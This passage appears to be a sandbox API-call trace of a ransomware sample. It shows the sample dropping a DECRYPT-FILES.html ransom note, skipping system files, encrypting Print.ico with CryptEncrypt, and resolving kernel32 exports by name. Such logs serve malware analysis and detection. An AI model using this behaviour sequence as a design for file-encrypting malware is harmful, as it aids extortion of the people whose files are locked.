(lpString="DECRYPT-FILES.html") returned 18 [0146.969] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\\\DECRYPT-FILES.html") returned 50 [0146.969] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\graphics\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0146.969] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0146.970] CloseHandle (hObject=0x470) returned 1 [0146.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0146.972] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\*") returned="C:\\588bce7c90097ed212\\Graphics\\*" [0146.972] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5ddaf126, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81200 [0146.972] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.972] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5ddaf126, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.972] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.972] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.972] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ddaf126, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x5ddaf126, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5ddaf126, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0146.972] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0146.972] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ddaf126, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x5ddaf126, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5ddaf126, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0146.972] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0146.973] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0146.973] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0146.973] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0146.973] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0146.973] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0146.973] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0146.973] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0146.973] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0146.973] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0146.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0146.973] lstrlenW (lpString="eogwkz.dat") returned 10 [0146.973] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0146.973] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\Graphics\\eogwkz.dat" [0146.973] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0146.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\graphics\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.973] CloseHandle (hObject=0x0) returned 0 [0146.973] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.974] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0146.974] lstrcmpiW (lpString1="Print.ico", lpString2="DECRYPT-FILES.html") returned 1 [0146.974] lstrcmpiW (lpString1="Print.ico", lpString2="autorun.inf") returned 1 [0146.974] lstrcmpiW (lpString1="Print.ico", lpString2="boot.ini") returned 1 [0146.974] lstrcmpiW (lpString1="Print.ico", lpString2="desktop.ini") returned 1 [0146.974] lstrcmpiW (lpString1="Print.ico", lpString2="ntuser.dat") returned 1 [0146.974] lstrcmpiW (lpString1="Print.ico", lpString2="iconcache.db") returned 1 [0146.974] lstrcmpiW (lpString1="Print.ico", lpString2="bootsect.bak") returned 1 [0146.974] lstrcmpiW (lpString1="Print.ico", lpString2="ntuser.dat.log") returned 1 [0146.974] lstrcmpiW (lpString1="Print.ico", lpString2="thumbs.db") returned -1 [0146.974] lstrcmpiW (lpString1="Print.ico", lpString2="Bootfont.bin") returned 1 [0146.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0146.974] lstrlenW (lpString="Print.ico") returned 9 [0146.974] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0146.974] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Print.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Print.ico" [0146.974] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0146.974] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0146.975] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=1150) returned 1 [0146.975] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0146.975] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0147.125] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0147.125] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0147.125] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.125] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0147.126] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0147.126] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.126] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0147.126] CloseHandle (hObject=0x5f8) returned 1 [0147.126] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.126] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0147.269] CloseHandle (hObject=0x0) returned 0 [0147.269] CloseHandle (hObject=0x5f4) returned 1 [0147.269] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.270] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.270] GetTickCount () returned 0x3a171 [0147.270] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.270] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0147.270] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0147.270] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.271] lstrlenA (lpString="kernel32.dll") returned 12 [0147.271] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0147.271] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0147.271] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0147.271] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0147.271] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0147.271] lstrlenA (lpString="ADDATOMA") returned 8 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0147.271] lstrlenA (lpString="ADDATOMW") returned 8 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0147.271] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0147.271] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0147.271] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0147.271] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0147.271] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0147.271] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0147.271] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0147.271] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0147.271] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0147.271] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0147.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0147.272] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0147.272] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0147.272] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0147.272] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0147.272] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0147.272] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0147.272] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0147.272] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0147.272] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0147.272] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0147.272] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0147.272] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0147.272] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0147.272] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0147.272] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0147.272] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0147.272] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0147.272] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0147.272] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0147.272] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0147.272] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0147.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0147.273] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0147.273] lstrlenA (lpString="BACKUPREAD") returned 10 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0147.273] lstrlenA (lpString="BACKUPSEEK") returned 10 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0147.273] lstrlenA (lpString="BACKUPWRITE") returned 11 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0147.273] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0147.273] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0147.273] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0147.273] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0147.273] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0147.273] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0147.273] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0147.273] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0147.273] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0147.273] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0147.273] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0147.273] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0147.273] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0147.273] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0147.273] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0147.273] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0147.273] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0147.273] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0147.274] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0147.274] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0147.274] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0147.274] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0147.274] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0147.274] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0147.274] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0147.274] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0147.274] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 